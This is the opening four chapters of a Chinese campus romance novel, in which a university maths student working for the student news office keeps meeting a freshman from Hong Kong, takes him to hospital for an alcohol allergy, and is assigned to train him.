《无声告白[破镜重圆]》
1. 好意
八月底,沉寂了一个夏天的京大校园又重新热闹起来,郁郁葱葱的梧桐树下挤满人。
北门入口宽敞的柏油路边支起一帘黄色的遮阳篷,上面写有每个学院的名称,新生们兴奋地排在队伍中等候登记报道,送学的家长们全是满脸洋溢喜悦。
林杳眠的脖子上用蓝绳挂着一张学生工作牌,一位新生家长过来向她问路:“同学,请问十二栋宿舍怎么走啊?”
“十二栋在南区,走过去挺远。您可以去那边的接送点坐摆渡车,新生出示录取通知书可以免费乘坐。”林杳眠放下刚举起来的佳能R8微单相机,指了个方向。
新生家长连声说谢谢,拉过站在一旁的学生,往她指的方向走过去。
林杳眠看着熙熙攘攘的人群,产生一种错觉:今年来报道的新生似乎比去年还多。
网上有一条新闻传得沸沸扬扬,京大要扩招了。
扩招这个词语很有诱惑力,容易让人忽略深层次的本质。扩招名额不到一百人,划分到每个省份也就多录取三四个学生,仍然和百分之九十九的高考生没有关系。
新闻部部长给林杳眠发来消息:「眠眠,你今晚能把那台R8还回来吗?明天有人去采访要用。你后天要用之前再来取。」
开学报道季是一年之中学校新闻部最忙的时候,各种入学活动层出不穷,但部门内只有一台相机。
林杳眠翻看相册,确认拍摄到的素材数量足够,开始往新闻部办公室所在的教学楼走。
“用护照不行吗?”
“同学,我们新生宣传手册上写了,报道必须携带学生本人的身份证。”
林杳眠听见一道熟人的声音。
遮阳篷上面挂着经济管理学院一排字,卫子默坐在铺满资料的折叠桌后。
面前站了一个高个子的男生,棒球帽压低,遮住大半张脸,下颌线的线条流畅。男生穿了件单薄的黑色圆领短袖,冷白的腕骨贴在桌表,掌心下压着的是一张烫金的录取通知书。
林杳眠举起相机,找准角度,按下快门键。
卫子默一晃眼看见几步路外拿相机的林杳眠,对她挥了挥手。
戴着棒球帽的男生也侧头。
漆黑狭长的眼睛对过来,阳光在瞳孔里折射出红茶珀般漂亮的光泽。
林杳眠看得一怔。
男生很快转过头,不紧不慢地问卫子默:“我是港岛护照,没有内地身份证,不能报道吗?”
听到情况,卫子默表情微微怔下,很快解释道:“那你走错地方了,港澳台过来的属于留学生,留学生有单独的报道处,你要去他们那儿办理入学手续。”
男生低头噢了一声,收起手中的资料。
卫子默应付完人,笑着和林杳眠打招呼:“你怎么这么早返校了?我昨天看你的朋友圈不还在芜川吗?”
林杳眠举了下相机:“昨天发朋友圈的时候已经在机场了。这不是要回来干正事,刚拍完照准备去六教还设备。”
“我们打算这个月办个同学会?你有空吗?”
没等林杳眠回答,卫子默接上下一句话:“你一定得来啊。京市的同学会没有我们状元可不行。”
林杳眠微不可察地皱下眉。
她并不喜欢这个称号,尽管它的正面意义无限大。
去年高考成绩放榜前的一个小时,林杳眠接到一通来自京市的电话。芜川和京市隔着两千公里,起初她以为是对方打错了。
在孜孜不倦的来电后,林杳眠终于不耐烦地接起电话。
她不需要再用准考证号查分数了。
因为电话那一端是京大招生办,对方告诉她,她是整个省的理科状元。京大比考生先一步知晓成绩,并且要抢在隔壁大学联系她之前,拿下这个生源。
林杳眠对卫子默说:“如果新闻部没有任务,我周末应该都有空。”
那位戴棒球帽的男生折返回来,打断了二人的交谈:“请问留学生报道的地方往哪儿走?”
卫子默翻开工作手册,查到具体位置:“在体育馆旁边的六教楼下。”
男生又问:“体育馆怎么走?”
卫子默“欸”一声,看向林杳眠:“要不你给他带下路,你不正好去六教吗?”
林杳眠偏头看向男生,迟疑一下,点头。
对方把帽檐往下一拉,半张脸被彻底遮住。
“谢谢学姐。”
透明文件袋里的录取通知书上,白底黑字写着学生的名字。
林杳眠看清楚三个字。
宋淮靳。
*
六教新闻部的办公室里,林杳眠把相机锁进柜子,路过食堂解决午饭,然后去奶茶店和袁曼香换班。
袁曼香不仅她是兼职的“同事”,还是室友。
奶茶店内装潢简约,墙上挂着两幅装饰画,收银台旁坐着一只小小的笑眯眯的米白色招财猫。
林杳眠放下帆布包,抽起台面上的一张排号单,拿起雪克杯,用碎冰锤压碎底部的柠檬。
门口还排着五六个人。
“今天生意这么好吗?”
“新生们入学,又是夏天,肯定人多。我把这一排单子做完再走。”袁曼香下午还有个家教的活儿。
林杳眠摇着手中的塑料杯,冲外面等候的客人喊:“106号的五杯芋泥啵啵,请问需要打包吗?”
“我的。”一位打扮明艳的女生走过来,摊开一张106号的小票,冲后面远处喊,“誉哥,你们的奶茶要打包吗?”
“奶茶太腻了。现在喝了奶茶,我俩晚上怎么喝酒?你自己打包就行。”
女生回过头,对林杳眠说:“一杯现在喝,剩下四杯都打包。”
林杳眠从台面下抽出打包用的塑料袋,利落地装好四杯奶茶,递给女生。
女主拎着袋子,跑向树下站着的两个男生。
而其中一个在昨天和林杳眠有过一面之缘。
男生依旧戴着昨天那顶黑色的棒球帽,低头站在阴影里玩手机。
对方仿佛意识到有人在看自己,倏然抬头朝收银台的方向望过来,
目光碰上的一瞬间,帽檐阴影下的眼眸没多少情绪。
林杳眠摸下鼻子,赶紧收回目光,转身投入工作中。
欣赏帅哥是人之常情。
但被对方发现就是另外一回事了。
那一头女生的声音也渐行渐远。
“放着好好的牛津剑桥不去,怎么来内地读书?”
*
墙上时钟的指针一圈一圈地走。
到了晚上,来买奶茶的客人也越来越少。
站了一下午,林杳眠有点精疲力竭,抽过板凳坐下来,在手机上撰写新闻初稿。
敲完第一段开头,一缕头发像滴进水里的墨垂下来。林杳眠伸手把碍事的头发又别到耳后。
头微微一偏,她看见门口有个高大的人影。
被吓了一跳,手机差一点掉在地上。
林杳眠把手机放在吧台上,问:“请问要喝什么吗?”
“你们店里有什么?”
林杳眠到收银机面前站定看清楚那张脸,大脑有刹那间的卡壳。
短短的一天,两个人陌生人可以相遇三次。
挺巧的。
夏天的风从外面卷进来和电风扇形成对流,非常淡的酒精挥发在空气中。
林杳眠公式化地介绍起来:“店里的招牌是手打柠檬茶,如果想喝奶茶的话还有...”
“就一杯柠檬茶。”
林杳眠在收银机上打单子,扯下小票:“六块,这里你扫前面那个二维码。”
宋淮靳掏出手机,扫了码,一抬头看见女生从柜台下拿出小柠檬,切开十字花刀,丢进杯底凿起来。
他裸露在短袖外的皮肤上痒意渐起,比以往来得更剧烈。
林杳眠以为对方买完就走,没想到男生绕到电风扇下的桌子旁,拉开椅子坐下来。
男生身材高大,整个人塞在一张窄小的椅子里,远了看甚至有几分滑稽。他戴着帽子,低头在手机屏幕上有一搭没一搭地划着。
墙上的电风扇摇头晃脑,每次转到一个特定角度像摔了骨头,咯吱咯吱作响。空气流动,淡淡的酒精味飘过来。
林杳眠洗过雪克杯和搅拌勺,重新坐回板凳,看着手机上一行行字,写不进去稿子。
现在时间晚上九点半,再过半个小时该关店了。
林杳眠索性收起手机,着手开始清理台面上的杂物,为闭店作准备。
等她收拾干净又看眼时间,宋淮靳还是丝毫没有要离开的意思。
林杳眠犹豫一会儿,走过去友情提醒道:“那个...同学,不好意思,我们要关门了。”
距离一拉近,她才看到男生白净的手臂上遍布块状的淡红色,很像蚊子叮过。但蚊子叮不出那么大的肿包,多半是荨麻疹的风团。
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林杳眠小时候吃过一次别人送的酒精巧克力,也是一样的症状。
宋淮靳抬起头,看她一眼。
眼尾微挑起,带点冷和痞意。
林杳眠愣在原地两秒。
一种说不上来的熟悉感,夹杂微弱的不适,一闪而过。
宋淮靳先说了句“抱歉”,晃晃手里还剩半杯的柠檬水,问她:“这个丢哪儿?”
“给我吧。我等会儿连店里的垃圾一起清理。”林杳眠接过塑料杯,想了想,又提醒他,“你手臂上好像过敏了,是荨麻疹。我们学校附属医院有急诊,你可以去看看。”
宋淮靳一偏头,灯光落下,帽檐下一张俊俏的侧脸显露无遗。
失去阴影的覆盖,林杳眠看清楚了。
和戴帽子时拒人之外的气质截然不同,他的眼睛呈圆弧状,内眼角偏钝,柔和的光下泛着水光,看起来甚至有一丝无辜感。
“校医院在哪儿?”
“西门出去左转。”
“谢谢。”
宋淮靳重新压低帽檐站起来,转身走出去,身形在地板上拉长。
林杳眠觉得刚刚一定是错觉才会觉得他的表情有点可怜。
收拾好店里,她从后门把垃圾袋丢到大垃圾桶里,在水池里洗干净手,拿起帆布包准备回寝室。
锁好前面的卷帘门,林杳眠一转身,打个趔趄。
怎么人还没走。
男生蹲在路牙边,手压在胃部,微微屈着腰,棒球帽垂得更低。
快到宿舍门禁,这个点走在路上的没什么学生,旁边的烧烤店老板也在准备关门。
林杳眠迟疑一会儿,最后还是走过去,问他:“你不舒服吗?”
宋淮靳喉咙里闷出一声嗯。
从侧面看到他的唇紧紧抿成一条直线。
林杳眠在内心纠结一会儿,最后还是善良占了上风:“需要我送你到医院吗?”
宋淮靳的胃烧得厉害,手臂上也痒。
手摁在胃部,持续性施加压力,恶心感终于消散几分。
他终于站起来,直白地盯着她的眼睛。
“又要麻烦学姐了。”
京大的附属医院在校园外,出校门以后还要走一段路。
到达京大的附属医院,林杳眠才发现眼前的男生对看病的流程一无所知,连看病要先挂号这种常识也不知道。
林杳眠质疑:“你以前没在医院看过病吗?”
宋淮靳回答坦荡:“没有。”
他很少生病,每年会定期去私人医生那儿做健康检查,还真没进过医院。
林杳眠在带人看病上经验丰富,她把宋淮靳安置在等候区,去接诊台向护士询问了下情况,然后便在小程序便帮他挂了号。
急诊科的医生经验丰富,一看宋淮靳手臂,在病例上打字:“荨麻疹。最近有吃什么东西吗?或者出去玩接触到什么平时见过的植物吗?”
“喝了啤酒。”
医生皱起眉:“怎么酒精过敏还喝酒?不知道过敏严重起来要人命吗?”
宋淮靳低头不说话。
林杳眠下意识地接过医生的问题:“他这个严重程度需要打针或者输液吗?”
“不用。开点药吃,再开一瓶涂的药。”医生在键盘上敲字,“这几天注意下饮食和生活习惯,不要抽烟喝酒。”
林杳眠拿着处方单去取药窗口排队。
拿完药一回头。
宋淮靳坐金属椅上低着头,右手捂住胃部。而搭在扶手上的左手小拇指上。
林杳眠想起来以前高中课间女生们的闲聊。
小指上的尾戒是单身主义的象征。
“这个早晚各吃一次。这盒黄色的只在睡前吃。外用药一天三次...”
应该再加一句。
过敏了就不要喝酒。
银色的尾戒在灯光下折射出冷淡的光泽,刺到林杳眠的眼里。
她最后还是把这句话咽回去。
从校医院出来,林杳眠看眼手机上的时间,发现马上到门禁点了,暗叫不好。
“你也快点回寝室吧,再不回去要门禁了。”
林杳眠拉紧帆布包的肩带,一边敷衍地说了句“再见”,一边向宿舍楼方向冲去。
宋淮靳看着比兔子跑得还快的身影。
胃部的灼热感还在像火一样燃烧,他在原地静静站了一会儿,转身向和校门完全相反的方向走去。
2. 状元
从医院出来以后,林杳眠一阵狂跑,终于赶在关门前跑进宿舍楼楼。
回到寝室,一边平整呼吸,一边把从衣柜里拿出笔记本电脑,从帆布包里拿出SD卡插进读卡器,接入USB插口。
距离熄灯断电还有一个半小时,她还有功夫导出照片。
这台薄薄的苹果笔记本电脑是林杳眠自己靠奖学金挣来的第一件贵重物品。
她和卫子默的家乡芜川不过是西南地区的一个普通二线城市,教育资源和京市天差地别。
博雅外国语学校是芜川市唯一一所设立有国际部的中学。而对于普通的高中部,学校管理层用奖学金的方式吸引优秀生源,转手又对低于录取线的学生额外收取高昂的择校费。
林杳眠属于前者。她无疑是学校眼中成功的投资。
理科状元四个字会变成下一届招生的金字招牌。当地中考生的家长们会前仆后继地把口袋里的钱掏出来,让自己的孩子和状元享有同样的教育资源。
然后学生们像小鸡一样被丢进同一个围栏中。表面上,大家穿一样的校服,在同一个操场上跑步,但有人的鞋是要靠抽签资格才能购买的限量款,有人的鞋连炒鞋黄牛加价的零头都不到。
林杳眠在电脑上打开文件夹,开始翻看拷贝出的照片。
她无意中瞥见微信群聊天里的新消息和一个不想看见的名字。
管皓:「同学会再多带个人成不?」
看到这两个字,林杳眠猛然反应过来为什么宋淮靳给她一种熟悉感。
管皓也经常戴着一顶黑色的棒球帽在校园里晃悠,还有各种银灿灿的饰品。他和另外几个不务正业的男生混在一起,在校内像螃蟹一样横着走,经常坐在球场边,对路过的女生评头论足。
听过几句八卦的学生都知道,管皓是学校教育集团一位董事的孙子,他在美国出生,家里很有钱。所以才敢在学校里这么有恃无恐,老师拿他没办法。
林杳眠不能理解这种通过滥用优势和欺负弱者来展现阳刚之气的行为。
但管皓他们的想法显然反过来,认为自己非常具有“男子气概”。
很可惜,管皓没有像他的其他几个兄弟一样被垃圾回收去美国。作为一个有美国国籍的学生,他在申请上拥有先天优势,但收到的offer却可以用惨不忍睹来形容。
不知是不是因为上个社区大学太丢脸,管皓换了个赛道,参加了外国留学生考试,摇身一变成为国内一所一流大学的学生。
宋淮靳从穿衣风格到身上气质,简直和管皓如出一辙。
林杳眠不想和这种人有过多接触。
袁曼香洗完澡从卫生间里出来,一边擦干头发,一边问:“欸,眠眠,吃不吃烧烤?南区新开了家烧烤店,我回来路上打包了一盒。”
没有人可以在晚上拒绝夜宵的诱惑。
袁曼香一边啃牛肉,一边问:“你们班有通知吗?上学期学校奖学金评选结果马上下来了。”
林杳眠拿着土豆串的手一顿,说:“我还没有看我们班级群,但我应该没有啥希望。”
袁曼香震惊:“我记得你上学期平均成绩不是九十一分吗?还是九十二?”
京大宿舍按专业和学号排,但林杳眠是班里学号排在最后一位的女生,前面的八个女生刚好凑了两间寝室。于是林杳眠被分到和袁曼香她们环境专业的一起住。
“我们班还有好几个均分比我高的同学,而且很多人还有其他的加分项。”
数学学院在京大是出了名神仙打架的院系,最不缺高考分高的人。
学校bbs上曾经有人调侃过,如果有一天数学院的天花板塌了,被砸到的人中四分之三高考超过七百分,剩下四分之一是保送的。
而林杳眠的班级更特殊。用一位两个字姓名的数学家命名,所以俗称为二字班。在二字班,超过一半的人有某省或者某市的状元头衔。
每个人拥有的东西,那它便平平无奇。
林杳眠在博外是绝对的佼佼者。高中三年数学没下过一百四十分,语文作文永远是被表扬的范文,每周一去国旗下演讲。
但京大不一样。每一年来自各地的学生们像数以千计的宝石被从山脉中挖掘出来,堆在一起。想要在光彩夺目的海洋中脱颖而出,不能是普通的彩色宝石,得是如阿尔肯石般无价之宝才行。一整座山的心脏,比一整条河的黄金更值钱。
经过一年的洗礼,林杳眠觉得她已经可以适应新的生活状态。
她是一个再普通不过的学生,上课、自习、考试。在个别时候还会感受到来自同班同学的智商碾压。
“虽然但是...这也太夸张了。”袁曼香感叹。
她知道林杳眠的班上内卷,但没想到这么卷。
享用完夜宵,林杳眠坐回书桌前,接着把手机里一部分初稿传到电脑上。
袁曼香突然想起来:“叶佳媛怎么还没回来?”
“她回校了吗?”大二学生的正常返校时间在下周一。
“她大前天就回来了,后天不是有高数补考么?”
宿舍楼到了断电时间。
林杳眠在宿舍的三人小群里艾特叶佳媛:「你今天还回来吗?」
对面袁曼香的床帘里上亮起一撮小小的光团,像一堆打了马赛克的萤火虫动来动去。
等半天也没回复,林杳眠拉下自己上方的遮光帘。如果叶佳媛超过二十四小时没回复,再通知宿管也不迟。
睡到半夜,她被蚊帐外面蚊子的嗡嗡叫吵醒,京市的夏天燥热得蚊子都呆不住。
坐起来,林杳眠背后爬了一层汗,她伸出手摸到空调遥控器,重新定好时。刚翻身躺下去,枕头旁边的手机震动。拿起一看,时间正好凌晨两点半。
屏幕上弹出一条一分钟前才收到的群消息。
叶佳媛:「不回」
*
两天以后,林杳眠写好初稿,选择配图时鼠标在一张照片上停留很久。
周围人影匆匆,戴着黑色帽子的少年站在树下橘黄色的帐篷前,树叶轻微摇曳,阳光斑驳地透过树叶洒在他的身后。
夏天的尾巴被定格在这一瞬间。
这
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张照片是上次拍的照片里她最满意的一张。几乎可以称得上完美,无论是构图还是光影,也包括照片里人物的侧脸。
他看起来不像好人,但那张脸让人无可挑剔。
林杳眠把编辑好的word文档给部长,然后换好衣服背着帆布包出门,去六教取设备。她今天还有拍摄新生军训的任务。
京大要求每个新生必须参加军训,因特殊原因无法参加操练的也在要看台上见习。看台休息区稀稀拉拉坐了一些学生,大多数是生理期造访的女生。
在操场上找过几个角度以后,林杳眠到看台找了个空位坐下来,开始检查照片。
“同学你好,你也是今年的新生吗?可以加个微信吗?”
“不好意思,我没有加陌生人微信的习惯。”冷冽的男声从前排响起。
林杳眠抬头一看,照片里那张完美的侧脸恰好坐在前面,中间隔了三排座位。
好巧不巧,宋淮靳似乎感应到什么,回过头和她对上目光。
林杳眠的瞳孔一缩,但还是冲他微微一笑。
希望两个人的交流点到为止。
往往事与愿违,林杳眠眼睁睁看着男生从座位上站起来,动作意图太明显。
宋淮靳径直走过来,摘下军绿色的帽子,浓密柔软的短发散开,俊秀的脸庞浮上笑:“学姐,这么巧。”
他弯下腰,捡起地上的一张被塑料套包裹的卡片,递给她:“这是你的吗?”
修长的手指夹在白色卡片两侧,那枚尾戒消失了。
林杳眠猜测是为了遵守军训不允许戴饰品的规定。
塑封的白色卡片是她在新闻部的工作证。
不知道什么时候掉落在地上的。她脸上漂过一丝尴尬,赶紧接过来放在帆布包的肩带打了个活结,小声道谢。
宋淮靳顺势坐在隔一个空的座位上。
“林学姐在新闻部么?”
“你怎么知道我姓什么?”林杳眠诧异。
宋淮靳轻松一笑,指了指中间座位缠绕在帆布包上工作证:“上面不是写着你的名字吗?”
工作证上「京大新闻部」五个字赫然在目,下面除了她的名字,还有一张蓝底的证件照。
林杳眠低下头拨弄相机。她的余光瞥见男生迷彩短袖外的小臂,风团还未完全消下去,但比前两天去医院的时候好了不少。
“你过敏好了点吗?”
“好多了。”
林杳眠点下头。宋淮靳跟她隔着一个位置。
尽管努力忽视对方的存在,但是她觉得周围有目光落在了这边。
很快,林杳眠确认照片数量足够,站起身,打算回去交差。
“那我先走啦。”
宋淮靳仰起头,没有立刻说再见,而是用那双玻璃珠一样漂亮的琥珀色眼睛看她。
“谢谢学姐那天晚上送我去医院。请问可以加个微信吗?”
林杳眠的大脑转得飞快,将他刚刚说过的话原封不动地还了回去。
“我不加陌生人。”
她没有任何加他的理由。
3. 布朗运动
“所以我们的思路就是把这个方程写成积分形式,再估计黎曼积分,只要积分收敛,那么该数值方法也收敛...”
林杳眠用蓝色的圆珠笔在小标题旁边画了半个圈,往下拉。
坐在前排一位同学举手:“书上的例子是几何布朗运动,那如果是不服从高斯分布的其他过程呢?”
笔头停顿在纸上,画出问号最后收尾的圆点。
“很好的问题。”教授笑眯眯地敲下白板,“但是现在已经到下课时间了,有兴趣的同学可以留下听解释。”
林杳眠很想拎书包走人。
她在前几天对照课本认真预习了这一小节的内容,此前对于布朗运动的理解还停留在简单的花粉扩散。她查了定义才知道原来里面还有这么内容。
高斯分布,鞅性质,马尔可夫过程。概念和问题像是会自我繁殖一般越变越多。
林杳眠看得头晕眼花,最后她决定等课上等教授讲过以后再回来理解。
但显然提问的同学走在更前面。大家都在同一个赛道跑步,她才刚热好身准备起步,一抬头发现别人已经跑了一百米。
偌大的阶梯教里没有一个人离开。林杳眠不知道教室里有多少像她一样听不懂的人,像被人硬生生地泼了冷水,还不能躲。
下课铃打响,所有人多等了十分钟,教授解释完刚刚的问题。
林杳眠果然没有听懂。
她认命地合上书,画在在白底黑字中间的蓝色问号格外显眼,弯弯的头部像在嘲笑她。
“中午食堂吃什么?”
“今天周五,要不去外面吃?”
...
教室里的同学们陆陆续续离开,讲台上的教授被几张熟面孔围住。
班级里的大多数同学来自天南地北,大家通过额外面试进入二字班以后才互相认识。但那几个同学是免试进来的的,并且入学前就彼此熟知。他们来自国家集训队,在高考前就被京大打包录取,队内唯一的一位女生拿过IMO两金一银。
林杳眠沉默地把书放进包里,准备去奶茶店和袁曼香换班。
需要找另外的时间额外复习这一节的内容。
这是她走出教室前的最后一个想法。
*
袁曼香把一杯奶茶递给外面等待的客人:“眠眠,你下午六点四十走吗?”
“对,我七点要去新闻部那边给新来的成员培训。”
新闻部在上周完成了招新的工作,这周一部门内举办了迎新聚会。
林杳眠当时抽不出空去参加。
奶茶店里除了她和袁曼香,原本还有一个女生。但那个女生暑假前辞职了,老板还没招到人,三个人的工作量被摊到两个人头上。
林杳眠只能推脱掉聚会,但今天是交接的正事,说什么也得去。
“那我上完课赶紧去吃饭,争取六点半过来。”
“你来的时候能帮我带盒关东煮吗?”林杳眠想了想,中间三十分钟去食堂吃饭来不及。
“没问题。”
六点四十。从奶茶店出来,一阵凉意拂过皮肤表面,林杳眠不禁打了个寒颤。
气温似乎降得比去年快。去年她军训结束以后还穿了好一阵短袖,今年这会儿已经感觉到冷了。
穿过文安桥之后,石板路上稀稀拉拉走着两三个背包的人,这个点还往教学楼方向走的只能是有晚课的学生。
“林杳眠!”
快到六教楼下,背后有人叫她的名字。
卫子默头发些许潮湿,左手抱着一颗篮球,身上只穿了红白色的球衣,像是刚从球场出来。
“你也有晚课?”卫子默抬手抹掉额头上的汗。
“没有,去新闻部有点事。你这学期报了晚课?”
“有门选修在八教,刚打完球准备过去。”卫子默点头,“同学会的地点和时间定下来了,你要去吗?去的话,我们一起从学校过去。”
林杳眠点头:“去。我忘记在群里接龙了。”
“那就这么说定了。我先过去了,再晚点签不上到了。”
六教正门口的梧桐树遮天蔽日,夜晚的风吹得树叶簌簌作响,像一串秋天的风铃。
林杳眠刚迈上台阶,又听见另外一道声音叫她。
“学姐。”
侧门门口,宋淮靳的身影和树冠的阴影融为一体,隐藏在暗处。
如果他不主动打招呼,林杳眠完全不会发现那边还站了个人。
京大在校学生人数超过五万,学校占地面积超过四百公顷。
校园里学生的活动轨迹应该符合布朗运动的条件。
那两个陌生人偶遇一次的几率有多大?很小。
从数学的角度,一个很小的数字的四次方,趋近于零。
真是应了那句老话:越怕什么,越来什么。
林杳眠还是扯出一个不失礼貌的笑:“你来这儿上课吗?”
宋淮靳既没承认也没否认,而是收起手机,突然一撩眼睫,把问题抛回她:“林学姐来上课?”
学生之间最常用一个疑问句。
但他似笑非笑的表情轻易让林杳眠联想到管皓,风格类似的行为。
“不是。”林杳眠低头看见手表的玻璃表盘。
分针只差一点指向整点,即将和时针形成一个一百五十度的夹角。
她有一个完美的逃脱借口。
“我约了别人七点见,需要先走了,再见。”
宋淮靳像那天在医院门口一般,安静地注视着她匆匆离开。
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前只是隐隐猜测,那现在他百分之百确认:她在有意回避他。
仔细回想过两个人的相遇过程,宋淮靳确信自己没有做出过冒犯人的举动。
清脆的上课铃回荡在教学区里,几个踩点上课的学生急匆匆地冲进玻璃大门。
他自顾自地啧笑一声,转身背起包,双手插兜,往楼里走去。
*
林杳眠上到三楼左转,走到角落处的走廊。
第三间办公室的门虚掩,留出一道光栅,少许的光亮映在门上方的铭牌:
「京大新闻部」
“部长。”林杳眠推开门,和正在调试相机的康欣妍打声招呼。
康欣妍温和地笑道:“新人还没到,你先坐着等一下。”
新闻部实行老带新的培训方式。每一个新加入的大一新成员,在前几个月都有一个大二的老成员带着干活。
林杳眠拉开旁边的一张办公椅坐下,桌面上的黑色机身距离她一尺之隔。这款相机比之前她用过的佳能R8小上一圈。
林杳眠问:“部里新买的设备吗?”
“怎么可能?为了换那台R8,楠姐在我耳边从去年念叨到了今年。”康欣妍敲下桌,拿起相机放到林杳眠面前,“这是索尼的A9M3。”
林杳眠一直想一台属于自己的相机,所以才去奶茶店做兼职,她做了一堆功课才决定好目标。
她能承受的价格范围只够买入门级别的单反相机,而康欣妍手中的是美联社一线记者的同款。
京大每一年经费百亿,但钱不是往这种地方烧的。
“那这相机哪儿来的?”
“新来的一个学弟自带的。”
林杳眠默然。
新闻部缺设备不是一天两天了。
所以每年在招新的时候,部门里有个不成文的规矩,要是哪个来面试的新人爱好摄影,又能自带相机,那会在录取时优先考虑。
这年头连参加一个校内的学生组织也有带资进组的说法了。
林杳眠看新人还没到,顺势向康欣妍讨教一些关于本校保研的事。
“你绩点不是挺好吗?为什么要留本校?”康欣妍很惊讶。
"国内没有其他学校选了,去隔壁也差不多,不如留在本校自在点。"
康欣妍拍拍她肩膀:“你二字班出来的,保研还不简单?一大堆教授抢着要。我记得你绩点不是很好吗?不考虑去国外吗?”
林杳眠张嘴,还没来得及说话。
办公室的门被叩响。
康欣妍:“进。”
林杳眠一回头,撞进视线的是一张刚刚在楼下才见过的年轻英俊的脸。
五次方。林杳眠麻木地想。
她应该立马打开手机微博,开始转发抽奖。
4. 知更鸟
“眠眠,这个是宋淮靳,大一经管的,他就是我刚刚跟你说的那个学弟。”康欣热情地介绍道。
“小宋,这个是林杳眠,咱们学校数学系的学霸。这两个月你就跟着她出任务,工作上有什么不懂的尽管问。”
“学姐好。”
“你好。”林杳眠不需要照镜子也知道自己嘴角的弧度有多勉强。
对比之下,宋淮靳的表情看起来礼貌自然并且温和无害,但不知为何,林杳眠从他嘴角浅浅扬起的弧度读出来恶劣的意味。
她默默地收紧手指。
康欣妍给两人交代一些琐碎的注意事项后,拉过林杳眠的胳膊,在她耳边压低音量:“只给你指派了一个人。你不是平时还要兼职吗?怕你带两个人忙不过来,有什么急事随时找我沟通。”
新闻部去年没招够新人,今年导致人手短缺,有好几个大二的老部员需要同时带两个新人。
“谢谢学姐。”
康欣妍满意地拍了下她肩膀,示意加油,然后关门离去。
办公室里只剩下二人。
林杳眠深吸一口气,替宋淮靳拉开旁边的椅子:“你先坐。”
然后林杳眠打开手机里的备忘录,上面写满了关键字,不光有部门培训要求的内容,还有她平时自己总结的要点。
林杳眠拿过桌上的相机,问:“你以前有过摄影或者写稿子的经验吗?”
和其他学生组织比起来,新闻部算是比较吃力不讨好的那种。不光得去听那种学生们最讨厌的讲座和跑各种活动,还要在短时间内完成枯燥的攥稿工作。写新闻不同于网上写段子,稿子交上去,经常会被打回来几次要求修改。
如果是被康欣妍发现错误还是小事,再往上交到辅导员楠姐那儿才发现,免不了被痛批一顿。
所以有意加入的学生大多对摄影或者写作有点爱好。
如果宋淮靳本身对这方面有所了解,那培训的工作量也会减轻。
“没有。”
听到他的回答,林杳眠有一秒钟的诧异。
摄影别说对于一个普通大学生,哪怕对于很多上班族都算得上是一项奢侈的爱好。
一台好的单反相机足以劝退很多人,跟在后面的还有大大小小的变焦镜头,投入起来跟无底洞没区别。
宋淮靳不会摄影,为什么要买这么贵的玩具。
下一秒,林杳眠的表情恢复如常。
别人的钱怎么花是别人的事,倒进护城河都跟她没关系。
林杳眠开始讲解一些摄影的基本知识。
“ISO是感光度的意思,调得越高,镜头对光线就越敏感。比如室内拍摄用的ISO一般比室外拍摄高。”林杳眠指下角落里的巨大盆栽,“结合我刚才说的快门速度和光圈,你可以先自己调几个参数拍几张照片试试。”
宋淮靳点头,接过相机,修长白净的手指拨弄在快门键上。
男生的侧脸轮廓优越,额间利落的短发垂下,盯着相机的眼睛清亮,有种遮不住的冷感。
林杳眠屏下呼吸,悄无声息地挪开视线,看向角落花盆里巨大的龟背竹。安静的办公室里只剩下咔嚓的快门声,又很快被窗外没完没了的蝉鸣盖过去。
粗壮的植茎支撑着翠绿似壳上花纹的叶子,叶片边缘犹如羽状般分裂开来,博雅外国语的每一间教室都摆放一盆这样的植物。
有一次路过国际部的教室,林杳眠遇上了那群打篮球回来的男生,口哨声响彻整个走廊。
她匆匆掠过去,避免和他们有任何目光接触,她侧头的时候瞥见教室门口的龟背竹被一阵风吹得微微摇曳。
宋淮靳刚转头,发现坐在旁边的林杳眠低着头,眉头浅浅拧在一起,对着巨大的龟背竹发呆。
“我拍好了,你要看下吗?”
林杳眠不知道他在旁边看了她整整两分钟。
回过神,抱歉一笑:“不好意思,我刚刚在想别的事。你说什么?”
“我说我拍好了。”宋淮靳把相机递过去。
“这一张ISO太高了,照片就会出现噪点。如果你出任务,尤其是讲座什么的,最好提前到场调设置。”
林杳眠细致地帮他分析了一些细节上的问题,摄影基础讲完,接着讲写新闻稿件的一些事项。
然后她很快发现宋淮靳在这方面一窍不通。
“你高中语文没有学过新闻相关的内容吗?”
有点常识的高中生应该都知道新闻起码要保证真实。
“你高中学过?”
林杳眠点头:“当然啊,还有篇很出名的课文…”
“噢,不知道。”宋淮靳的五指撑在桌上,手里的笔转一圈,“我不是在国内上的高中。”
林杳眠一噎,又挣扎道:“新闻的三个特点是及时性,真实性和客观性。你听过这三个词吗?”
宋淮靳想到是电视上放大版花哨夺目的标题。
港岛媒体应该是标题党的始祖,堂而皇之地写下「当红歌星现场观赏多人运动」,实际上他们只是拍到一张观众席上的富豪携女星看比赛的合照。
他不喜欢那个标注在护照上的弹丸之地。
宋淮靳垂下眼,长长的睫毛扑朔。
“没听过,也不看。”
看来是不能期待省事了。
林杳眠叹口气,翻开一页新的A4纸:“那我从最基础的开始讲吧。”
她的手机备忘录大大方方地摊开在桌面上,宋淮靳轻而易举地看到上面其实只有寥寥几个提示词。
但林杳眠对她要讲的内容彷佛有绝对的掌控力,关键词逐写在纸上,逐渐拼凑成一张树状图。
她记忆力应该很好。
宋淮靳半侧着头,成年以后他第一次拥有近距离观察异性的机会,近到他能够清晰看见她后颈皮肤表面的一层浅色的绒毛。
女生在讲东西的时候很沉浸,时不时用手别下头发,和那天在体育场看台上神色紧绷的模样不同。
专注的样子让宋淮靳轻易联想到起以前在学校每天早上在教堂听赞美诗的时候。
那是他最讨厌的活动之一。
阳光透过彩绘玻璃窗洒下光影,唱诗班的成员们表情庄重而虔诚,站在高高的木质台阶唱诵圣歌。
学校在选拔唱诗班成员的时候对口音要求严格。
一种被刻意训练过的腔调,走出去一开口别人就知道是他们这一所公学毕业的学生。
宋淮靳运气不错,声音不合格,只需要坐在下面听,顺便打会儿瞌睡。
他小时候在苏黎世长大,上小学以前只会中文和德语,甚至不是标准的高地德语,而是瑞士地区的方言。
由此他的英语带上了浓重的土味,为此在高中没少被舍监拉出去谈话,一再提醒他的口音问题,不符合学校的作风。
然而这种作风非常虚伪。
唱诗班有两个成员经常和他们一起偷偷喝酒,并且在宋淮靳用元首的口音模仿学校语言老师讲话的时候,一起端着酒瓶哈哈大笑,问他怎么能学得这么像。
